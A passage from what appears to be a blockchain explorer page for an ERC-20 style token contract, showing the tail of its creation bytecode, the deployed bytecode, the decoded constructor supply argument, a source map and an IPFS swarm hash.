1c9082168061102757607f821691505b60208210810361104757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105635761056361104d565b60ff81811683821601908111156105635761056361104d565b60ff82811682821603908111156105635761056361104d565b80820281158282048414176105635761056361104d565b6000826110dc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105635761056361104d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111c57600080fd5b8151610cbd81610f38565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111775784516001600160a01b031683529383019391830191600101611152565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e1813512b9b53e9e97792a7c41fea0d787c2c430eb39d07f18e8d3f6d0fe599764736f6c63430008120033000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff
Deployed Bytecode
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b03861660009081526005602052604090205460ff1615610bf257610ba6610b878583610d1e565b6001600160a01b038616600090815260016020526040902054610c159086610cb1565b6001600160a01b0387166000908152600160205260409020555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c7491815260200190565b60405180910390a350505050505050565b60008184841115610ca95760405162461bcd60e51b815260040161065e9190610eea565b505050900390565b6000610cbd8284611063565b9392505050565b6000610cbd82846110a8565b6000610cbd82846110bf565b600d805460ff60a01b1916600160a01b179055610cf881610d2a565b600654610d0e906001600160a01b031647610eaf565b50600d805460ff60a01b19169055565b6000610cbd82846110e1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f6110f4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df6919061110a565b81600181518110610e0957610e096110f4565b6001600160a01b039283166020918202929092010152600c54610e3891309165010000000000900416846107b7565b600c5460405163791ac94760e01b8152650100000000009091046001600160a01b03169063791ac94790610e79908590600090869030904290600401611127565b600060405180830381600087803b158015610e9357600080fd5b505af1158015610ea7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f1757858101830151858201604001528201610efb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d57600080fd5b50565b60008060408385031215610f6357600080fd5b8235610f6e81610f38565b946020939093013593505050565b600080600060608486031215610f9157600080fd5b8335610f9c81610f38565b92506020840135610fac81610f38565b929592945050506040919091013590565b600060208284031215610fcf57600080fd5b8135610cbd81610f38565b60008060408385031215610fed57600080fd5b8235610ff881610f38565b9150602083013561100881610f38565b809150509250929050565b600181811c9082168061102757607f821691505b60208210810361104757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105635761056361104d565b60ff81811683821601908111156105635761056361104d565b60ff82811682821603908111156105635761056361104d565b80820281158282048414176105635761056361104d565b6000826110dc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105635761056361104d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111c57600080fd5b8151610cbd81610f38565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111775784516001600160a01b031683529383019391830191600101611152565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e1813512b9b53e9e97792a7c41fea0d787c2c430eb39d07f18e8d3f6d0fe599764736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff
-----Decoded View---------------
Arg [0] : _tokens (uint256): 999999999999999999999999999999
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff
Deployed Bytecode Sourcemap
14598:6930:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17032:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17869:161;;;;;;;;;;-1:-1:-1;17869:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17869:161:0;1023:187:1;15610:41:0;;;;;;;;;;-1:-1:-1;15610:41:0;;;;;;;-1:-1:-1;;;;;15610:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15610:41:0;1215:230:1;17214:95:0;;;;;;;;;;-1:-1:-1;17294:7:0;;17214:95;;;1596:25:1;;;1584:2;1569:18;17214:95:0;1450:177:1;15693:28:0;;;;;;;;;;-1:-1:-1;15693:28:0;;;;-1:-1:-1;;;15693:28:0;;;;;;18038:313;;;;;;;;;;-1:-1:-1;18038:313:0;;;;;:::i;:::-;;:::i;17123:83::-;;;;;;;;;;-1:-1:-1;17189:9:0;;17123:83;;17189:9;;;;2235:36:1;;2223:2;2208:18;17123:83:0;2093:184:1;18359:218:0;;;;;;;;;;-1:-1:-1;18359:218:0;;;;;:::i;:::-;;:::i;15658:28::-;;;;;;;;;;-1:-1:-1;15658:28:0;;;;-1:-1:-1;;;;;15658:28:0;;;15728:40;;;;;;;;;;-1:-1:-1;15728:40:0;;;;-1:-1:-1;;;15728:40:0;;;;;;15136:82;;;;;;;;;;-1:-1:-1;15136:82:0;;;;-1:-1:-1;;;;;15136:82:0;;;17412:123;;;;;;;;;;-1:-1:-1;17412:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;17505:22:0;17478:7;17505:22;;;:13;:22;;;;;;;17412:123;14437:148;;;;;;;;;;;;;:::i;:::-;;14214:87;;;;;;;;;;-1:-1:-1;14260:7:0;14287:6;-1:-1:-1;;;;;14287:6:0;14214:87;;17317;;;;;;;;;;;;;:::i;14781:54::-;;;;;;;;;;-1:-1:-1;14781:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18585:269;;;;;;;;;;-1:-1:-1;18585:269:0;;;;;:::i;:::-;;:::i;17543:167::-;;;;;;;;;;-1:-1:-1;17543:167:0;;;;;:::i;:::-;;:::i;15361:53::-;;;;;;;;;;;;;;;;15278:42;;;;;;;;;;;;;:::i;15227:44::-;;;;;;;;;;;;;:::i;17718:143::-;;;;;;;;;;-1:-1:-1;17718:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17826:18:0;;;17799:7;17826:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17718:143;15035:94;;;;;;;;;;-1:-1:-1;15035:94:0;;;;-1:-1:-1;;;;;15035:94:0;;;14842:48;;;;;;;;;;-1:-1:-1;14842:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17032:83;17069:13;17102:5;17095:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17032:83;:::o;17869:161::-;17944:4;17961:39;2594:10;17984:7;17993:6;17961:8;:39::i;:::-;-1:-1:-1;18018:4:0;17869:161;;;;;:::o;18038:313::-;18136:4;18153:36;18163:6;18171:9;18182:6;18153:9;:36::i;:::-;18200:121;18209:6;2594:10;18231:89;18269:6;18231:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18231:19:0;;;;;;:11;:19;;;;;;;;2594:10;18231:33;;;;;;;;;;:37;:89::i;:::-;18200:8;:121::i;:::-;-1:-1:-1;18339:4:0;18038:313;;;;;:::o;18359:218::-;2594:10;18447:4;18496:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18496:34:0;;;;;;;;;;18447:4;;18464:83;;18487:7;;18496:50;;18535:10;18496:38;:50::i;14437:148::-;14260:7;14287:6;-1:-1:-1;;;;;14287:6:0;2594:10;14349:23;14341:68;;;;-1:-1:-1;;;14341:68:0;;3946:2:1;14341:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;14341:68:0;;;;;;;;;14544:1:::1;14528:6:::0;;14507:40:::1;::::0;-1:-1:-1;;;;;14528:6:0;;::::1;::::0;14507:40:::1;::::0;14544:1;;14507:40:::1;14575:1;14558:19:::0;;-1:-1:-1;;;;;;14558:19:0::1;::::0;;14437:148::o;17317:87::-;17356:13;17389:7;17382:14;;;;;:::i;18585:269::-;18678:4;18695:129;2594:10;18718:7;18727:96;18766:15;18727:96;;;;;;;;;;;;;;;;;2594:10;18727:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18727:34:0;;;;;;;;;;;;:38;:96::i;17543:167::-;17621:4;17638:42;2594:10;17662:9;17673:6;17638:9;:42::i;15278:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15227:44::-;;;;;;;:::i;18903:254::-;-1:-1:-1;;;;;18996:19:0;;;;;;:44;;-1:-1:-1;;;;;;19019:21:0;;;;18996:44;18988:66;;;;-1:-1:-1;;;18988:66:0;;4307:2:1;18988:66:0;;;4289:21:1;4346:1;4326:18;;;4319:29;-1:-1:-1;;;4364:18:1;;;4357:39;4413:18;;18988:66:0;4105:332:1;18988:66:0;-1:-1:-1;;;;;19065:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19117:32;;1596:25:1;;;19117:32:0;;1569:18:1;19117:32:0;;;;;;;18903:254;;;:::o;19165:1648::-;-1:-1:-1;;;;;19248:25:0;;;;;;:21;:25;;;;;;;;19243:236;;19325:25;19346:3;19325:16;19337:3;19325:7;;:11;;:16;;;;:::i;:::-;:20;;:25::i;:::-;19314:6;19298:13;19308:2;-1:-1:-1;;;;;17505:22:0;17478:7;17505:22;;;:13;:22;;;;;;;17412:123;19298:13;:22;;;;:::i;:::-;19297:53;;19289:80;;;;-1:-1:-1;;;19289:80:0;;4906:2:1;19289:80:0;;;4888:21:1;4945:2;4925:18;;;4918:30;-1:-1:-1;;;4964:18:1;;;4957:45;5019:18;;19289:80:0;4704:339:1;19289:80:0;19243:236;;;-1:-1:-1;;;;;19424:13:0;;;;;;:9;:13;;;;;;;;:43;;19456:11;;-1:-1:-1;;;19456:11:0;;;;19424:43;;;19440:11;;:13;;-1:-1:-1;;;19440:11:0;;;;19452:1;19440:13;:::i;:::-;19410:11;;:57;;;;;;;;;;;;;;;;;;19243:236;-1:-1:-1;;;;;19506:13:0;;19489:14;19506:13;;;:9;:13;;;;;;;;:28;;19533:1;19506:28;;;19520:12;;19506:28;19563:11;;19489:45;;-1:-1:-1;19563:11:0;;;;;;;19548;;;;:26;;;;:47;;-1:-1:-1;19579:16:0;;-1:-1:-1;;;19579:16:0;;;;19578:17;19548:47;:72;;;;-1:-1:-1;19607:13:0;;-1:-1:-1;;;;;19599:21:0;;;19607:13;;19599:21;;19548:72;:97;;;;-1:-1:-1;19624:21:0;;-1:-1:-1;;;19624:21:0;;;;19548:97;19545:406;;;19664:11;:15;;-1:-1:-1;;19664:15:0;;;19735:4;-1:-1:-1;17505:22:0;;;-1:-1:-1;17505:22:0;;;;;;19774:7;;:25;;19795:3;;19774:16;;19786:3;19774:11;:16::i;:25::-;19759:12;:40;19756:87;;;19817:24;19837:3;19817:15;19829:2;19817:7;;:11;;:15;;;;:::i;:24::-;19802:39;;19756:87;19860:16;;19857:83;;19896:28;19911:12;19896:14;:28::i;:::-;19647:304;19545:406;19978:3;;19995:11;;19978:3;;;;;-1:-1:-1;;;19995:11:0;;;;:15;;;;:43;;-1:-1:-1;20024:13:0;;-1:-1:-1;;;;;20016:21:0;;;20024:13;;20016:21;20014:24;19995:43;19992:103;;;20078:14;;20063:29;;20078:14;;;;;;;20063;;;;:29;:::i;:::-;20051:42;;:8;:42;:::i;:::-;20040:53;;19992:103;-1:-1:-1;;;;;20145:21:0;;20107:16;20145:21;;;:15;:21;;;;;;;;;:44;;-1:-1:-1;;;;;;20170:19:0;;;;;;:15;:19;;;;;;;;20145:44;20142:93;;;-1:-1:-1;20219:4:0;20142:93;-1:-1:-1;;;;;20301:19:0;;20247:17;20301:19;;;:13;:19;;;;;;:31;;20325:6;20301:23;:31::i;:::-;-1:-1:-1;;;;;20279:19:0;;;;;;:13;:19;;;;;:53;20347:11;20343:421;;20386:29;20411:3;20386:20;:6;:20;;;:10;:20::i;:29::-;20374:41;-1:-1:-1;20450:44:0;20472:21;:6;20374:41;20472:10;:21::i;:::-;-1:-1:-1;;;;;20450:17:0;;;;;;:13;:17;;;;;;;:21;:44::i;:::-;-1:-1:-1;;;;;20430:17:0;;;;;;:13;:17;;;;;:64;20343:421;;;-1:-1:-1;;;;;20538:13:0;;;;;;:9;:13;;;;;;;;20535:218;;;20591:44;20613:21;:6;20624:9;20613:10;:21::i;20535:218::-;-1:-1:-1;;;;;20708:17:0;;;;;;:13;:17;;;;;;:29;;20730:6;20708:21;:29::i;:::-;-1:-1:-1;;;;;20688:17:0;;;;;;:13;:17;;;;;:49;20535:218;20794:2;-1:-1:-1;;;;;20779:26:0;20788:4;-1:-1:-1;;;;;20779:26:0;;20798:6;20779:26;;;;1596:25:1;;1584:2;1569:18;;1450:177;20779:26:0;;;;;;;;19232:1581;;;;19165:1648;;;:::o;2045:206::-;2131:7;2192:12;2184:6;;;;2176:29;;;;-1:-1:-1;;;2176:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2227:5:0;;;2045:206::o;1617:98::-;1675:7;1702:5;1706:1;1702;:5;:::i;:::-;1695:12;1617:98;-1:-1:-1;;;1617:98:0:o;1829:::-;1887:7;1914:5;1918:1;1914;:5;:::i;1939:98::-;1997:7;2024:5;2028:1;2024;:5;:::i;20945:179::-;16078:16;:23;;-1:-1:-1;;;;16078:23:0;-1:-1:-1;;;16078:23:0;;;21022:30:::1;21039:12:::0;21022:16:::1;:30::i;:::-;21076:17;::::0;21063:53:::1;::::0;-1:-1:-1;;;;;21076:17:0::1;21094:21;21063:12;:53::i;:::-;-1:-1:-1::0;16124:16:0;:24;;-1:-1:-1;;;;16124:24:0;;;20945:179::o;1723:98::-;1781:7;1808:5;1812:1;1808;:5;:::i;21132:391::-;21222:16;;;21236:1;21222:16;;;;;;;;21198:21;;21222:16;;;;;;;;;;-1:-1:-1;21222:16:0;21198:40;;21267:4;21249;21254:1;21249:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;21249:23:0;;;-1:-1:-1;;;;;21249:23:0;;;;;21293:15;;;;;;;;;-1:-1:-1;;;;;21293:15:0;-1:-1:-1;;;;;21293:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21283:4;21288:1;21283:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21283:32:0;;;:7;;;;;;;;;:32;21358:15;;21326:62;;21343:4;;21358:15;;;;21376:11;21326:8;:62::i;:::-;21399:15;;:116;;-1:-1:-1;;;21399:116:0;;:15;;;;-1:-1:-1;;;;;21399:15:0;;:66;;:116;;21466:11;;21478:1;;21480:4;;21493;;21499:15;;21399:116;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21187:336;21132:391;:::o;20825:112::-;20906:23;;-1:-1:-1;;;;;20906:15:0;;;:23;;;;;20922:6;;20906:23;;;;20922:6;20906:15;:23;;;;;;;;;;;;;;;;;;;;;20825:112;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2714:247::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2881:9;2868:23;2900:31;2925:5;2900:31;:::i;2966:388::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3150:9;3137:23;3169:31;3194:5;3169:31;:::i;:::-;3219:5;-1:-1:-1;3276:2:1;3261:18;;3248:32;3289:33;3248:32;3289:33;:::i;:::-;3341:7;3331:17;;;2966:388;;;;;:::o;3359:380::-;3438:1;3434:12;;;;3481;;;3502:61;;3556:4;3548:6;3544:17;3534:27;;3502:61;3609:2;3601:6;3598:14;3578:18;3575:38;3572:161;;3655:10;3650:3;3646:20;3643:1;3636:31;3690:4;3687:1;3680:15;3718:4;3715:1;3708:15;3572:161;;3359:380;;;:::o;4442:127::-;4503:10;4498:3;4494:20;4491:1;4484:31;4534:4;4531:1;4524:15;4558:4;4555:1;4548:15;4574:125;4639:9;;;4660:10;;;4657:36;;;4673:18;;:::i;5048:148::-;5136:4;5115:12;;;5129;;;5111:31;;5154:13;;5151:39;;;5170:18;;:::i;5201:151::-;5291:4;5284:12;;;5270;;;5266:31;;5309:14;;5306:40;;;5326:18;;:::i;5357:168::-;5430:9;;;5461;;5478:15;;;5472:22;;5458:37;5448:71;;5499:18;;:::i;5530:217::-;5570:1;5596;5586:132;;5640:10;5635:3;5631:20;5628:1;5621:31;5675:4;5672:1;5665:15;5703:4;5700:1;5693:15;5586:132;-1:-1:-1;5732:9:1;;5530:217::o;5752:128::-;5819:9;;;5840:11;;;5837:37;;;5854:18;;:::i;6017:127::-;6078:10;6073:3;6069:20;6066:1;6059:31;6109:4;6106:1;6099:15;6133:4;6130:1;6123:15;6149:251;6219:6;6272:2;6260:9;6251:7;6247:23;6243:32;6240:52;;;6288:1;6285;6278:12;6240:52;6320:9;6314:16;6339:31;6364:5;6339:31;:::i;6405:980::-;6667:4;6715:3;6704:9;6700:19;6746:6;6735:9;6728:25;6772:2;6810:6;6805:2;6794:9;6790:18;6783:34;6853:3;6848:2;6837:9;6833:18;6826:31;6877:6;6912;6906:13;6943:6;6935;6928:22;6981:3;6970:9;6966:19;6959:26;;7020:2;7012:6;7008:15;6994:29;;7041:1;7051:195;7065:6;7062:1;7059:13;7051:195;;;7130:13;;-1:-1:-1;;;;;7126:39:1;7114:52;;7221:15;;;;7186:12;;;;7162:1;7080:9;7051:195;;;-1:-1:-1;;;;;;;7302:32:1;;;;7297:2;7282:18;;7275:60;-1:-1:-1;;;7366:3:1;7351:19;7344:35;7263:3;6405:980;-1:-1:-1;;;6405:980:1:o
Swarm Source
ipfs://e1813512b9b53e9e97792a7c41fea0d787c2c430eb39d07f18e8d3f6d0fe5997
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.